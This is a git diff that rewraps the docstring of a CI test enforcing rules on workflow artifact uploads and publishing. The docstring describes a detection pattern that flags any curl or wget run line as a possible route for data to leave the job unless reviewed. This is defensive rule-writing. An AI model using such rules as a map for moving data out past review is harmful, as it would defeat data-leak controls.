diff --git a/policyengine_uk_data/tests/test_workflow_artifacts.py b/policyengine_uk_data/tests/test_workflow_artifacts.py index af5a2dd8e..24399270f 100644 --- a/policyengine_uk_data/tests/test_workflow_artifacts.py +++ b/policyengine_uk_data/tests/test_workflow_artifacts.py @@ -20,10 +20,10 @@ Every artifact upload must name literal files reviewed for that job in ``REVIEWED``: no directories, globs, exclusions or expressions. Every run line that matches ``PUBLISH_COMMAND`` (any curl or wget, and the known - publishing commands) must be, in full, a command reviewed for that job. A job that commits its whole workspace may run only its - reviewed lines (``runs_only``), with no ``shell``, ``env``, - ``working-directory``, ``defaults`` or ``container`` that could change what - those lines run. + publishing commands) must be, in full, a command reviewed for that job. A + job that commits its whole workspace may run only its reviewed lines + (``runs_only``), with no ``shell``, ``env``, ``working-directory``, + ``defaults`` or ``container`` that could change what those lines run. - Jobs that can't reach the data (docs, changelog) may publish. What it does not do (Sol re-review of #603): it recognises reviewed workflow